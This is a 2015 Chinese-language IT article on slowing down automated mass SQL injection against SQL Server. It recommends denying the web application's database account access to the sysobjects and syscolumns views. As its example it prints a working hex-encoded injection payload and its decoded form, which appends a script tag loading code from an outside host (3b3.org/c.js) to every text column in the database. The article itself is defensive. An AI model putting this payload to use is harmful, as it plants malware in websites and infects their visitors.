時間:2015-06-28 00:00:00 來源:IT貓撲網(wǎng) 作者:網(wǎng)管聯(lián)盟 我要評論(0)
??? 所謂SQL盲注也就是采用自動化的程序來自動的掃描注入點,并可以自動掃描數(shù)據(jù)表進行大規(guī)模批量注入,其危害性也最大。
??? 這里我們來探討一種與SQL Server權(quán)限有關(guān)的延緩SQL盲注的方法。
??? 一般來說SQL盲注的最終注入代碼都類似于如下片段(SQL Server 2000/2005):
DeCLaRE @S NvArCHaR(4000);SeT
@S=CaSt(0x4400650063006C006100720065002000400054002000560061007200630068006100720028003200
3500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063
006C0061007200650020005400610062006C0065005F0043007500720073006F00720020004300750072007300
6F007200200046006F0072002000530065006C00650063007400200041002E004E0061006D0065002C0042002E
004E0061006D0065002000460072006F006D0020005300790073006F0062006A00650063007400730020004100
2C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E0049
0064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075002700
200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E0058
0074007900700065003D003300350020004F007200200042002E00580074007900700065003D00320033003100
20004F007200200042002E00580074007900700065003D00310036003700290020004F00700065006E00200054
00610062006C0065005F0043007500720073006F00720020004600650074006300680020004E00650078007400
2000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074
006F002000400054002C004000430020005700680069006C006500280040004000460065007400630068005F00
5300740061007400750073003D0030002900200042006500670069006E00200045007800650063002800270075
007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002B0
0400043002B0027005D003D0052007400720069006D00280043006F006E0076006500720074002800560061007
20063006800610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B
00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F003300
620033002E006F00720067002F0063002E006A0073003E003C002F007300630072006900700074003E00270027
00270029004600650074006300680020004E006500780074002000460072006F006D0020002000540061006200
6C0065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E0
06400200043006C006F007300650020005400610062006C0065005F0043007500720073006F007200200044006
50061006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200
aS NvArChAR(4000));ExEc(@S);--
??? 解密后就是下面片段:
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor
For Select A.Name,B.Name From Sysobjects A,Syscolumns B
Where A.Id=B.Id And A.Xtype=’u’
And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor Fetch Next From? Table_Cursor Into @T,@C
While(@@Fetch_Status=0)
Begin
Exec(’update [’+@T+’] Set [’+@C+’]=Rtrim(Convert(Varchar(8000),[’+@C+’]))+’’《script src=http://3b3.org/c.js》《/script》’’’)
Fetch Next From? Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor
??? 其中的Script符號我替換掉了。
??? 同樣可以看到當中我用粗體標注出來的表名sysobjects,syscolumns。SQL盲注就是利用這兩個系統(tǒng)表來進行遍歷的。
??? 所以暫時延緩SQL盲注的方法就是將程序中訪問數(shù)據(jù)庫的賬號(注意:絕對不要用默認的sa權(quán)限,而建議你為你的Web應用程序單獨建立需要的訪問賬號)移除掉對于這幾個系統(tǒng)表的訪問權(quán)限即可避免盲注(我特意注明是盲注,因為注入點還是存在,只是延緩掉SQL盲注而已)。
??? 比如你Web應用程序訪問數(shù)據(jù)庫的帳號為tnt001,要禁止掉的對于系統(tǒng)表sysobjects,syscolumns的訪問權(quán)限的方法如下:
??? SQL Server 2000比較直觀簡單,而SQL Server 2005開始就完全重構(gòu)了整個系統(tǒng)架構(gòu),有一定不同,所以這里以SQL Server 2005為例來詳細說明(SQL Server 2008類似):
??? Step 1: 選擇某一個具體的數(shù)據(jù)庫,點擊節(jié)點"安全性"->"用戶",然后選擇你需要的賬號比如tnt001,右鍵選擇屬性
??? Step 2:選擇屬性頁的左側(cè)的"安全對象"
??? Step 3: 點擊 安全對象 下的"添加"按鈕,選擇"特性類型的所有對象"
??? Step 4:選擇"視圖",并選擇其中的sysobjects,syscolumns
??? Step 5:將選定的幾個視圖的"Select"權(quán)限選定為 拒絕
??? 點擊確定即可.
??? 用賬號tnt001連接,然后訪問sysobjects測試會得到拒絕訪問的提示:
??? "拒絕了對對象 ’sysobjects’ (數(shù)據(jù)庫 ‘mssqlsystemresource’,架構(gòu) ’sys’)的 SELECT 權(quán)限。"
??? 上面的方式只是延緩了SQL盲注,因為大規(guī)模批量注入都是程序自動進行的,這種方法也就是屏蔽掉了程序?qū)τ诖祟怱QL Server數(shù)據(jù)庫的盲注攻擊,但是SQL注入點還是依然存在的,如果是人工在得到相關(guān)信息的情況下進行注入,還是無法避免的,治本還是需要從源程序入手徹底修改掉。
??? 但往往由于實際情況中,涉及到SQL注入漏洞的源程序非常龐雜,代碼需要Review的量很大,這種延緩SQL盲注的方法也就為你徹底排查并修改掉有漏洞的程序贏得了一定的時間。
關(guān)鍵詞標簽:SQL Server
相關(guān)閱讀
熱門文章 火絨安全軟件開啟懸浮窗的方法-怎么限制和設置軟件網(wǎng)速 火絨安全軟件怎么攔截廣告-火絨設置廣告攔截的方法 網(wǎng)絡安全管理軟件-PCHunter使用教程 騰訊QQ密碼防盜十大建議
人氣排行 火絨安全軟件開啟懸浮窗的方法-怎么限制和設置軟件網(wǎng)速 火絨安全軟件怎么攔截廣告-火絨設置廣告攔截的方法 網(wǎng)絡安全管理軟件-PCHunter使用教程 xp系統(tǒng)關(guān)閉445端口方法_ 教你如何關(guān)閉xp系統(tǒng)445端口 什么是IPS(入侵防御系統(tǒng)) 企業(yè)網(wǎng)絡安全事件應急響應方案 ARP協(xié)議的反向和代理 Windows Server 2008利用組策略的安全設置